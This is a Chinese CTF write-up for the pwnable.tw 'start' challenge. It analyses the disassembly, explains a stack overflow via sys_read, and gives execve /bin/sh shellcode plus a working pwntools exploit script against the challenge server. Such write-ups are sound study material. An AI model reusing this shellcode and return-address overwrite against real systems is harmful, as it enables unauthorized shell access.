pwnable.tw_challenge_start
载入IDA分析:
0x01 _start
public _start
_start proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn
可以看到关键几点:
开始时esp入栈:push esp
而后代表字符串:"Let's start the CTF:"的数据入栈:
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
调用80h中断中的4号程序:sys_write显示字符串
调用80h中断中的3号程序:sys_read读入字符串
栈帧大小为(我们需要覆盖的长度)20字节: add esp, 14h
这里附上system_call的系统调用表网址:
http://syscalls.kernelgrok.com/
0x02 获取shell
很显然,这里需要利用第二步调用中断的sys_read来覆盖返回地址来获取shell,因此我们需要:
1 获得esp地址以便覆盖返回地址来执行我们的shellcode
2 使用shellcode覆盖栈中数据
开始时,_start中将esp入栈,而最后_start返回时栈顶便是我们需要的esp值
我们需要构造payload:
payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)
获取esp值后,我们将shellcode入栈并利用覆盖返回地址来执行:
payload=任意20字节字符串+p32(esp+20)+shellcode
0x03 shellcode
利用80h中断中的sys_execve:
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
即:
31 c9 xor ecx,ecx
f7 e1 mul ecx
51 push ecx
68 2f 2f 73 68 push 0x68732f2f ;传入参数/bin/sh
68 2f 62 69 6e push 0x6e69622f
89 e3 mov ebx,esp
b0 0b mov al,0xb ;调用80h中断中b号程序:sys_execve
cd 80 int 0x80
0x04 EXP
from pwn import *
p = remote('chall.pwnable.tw',10000)
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)
p.interactive()
网友评论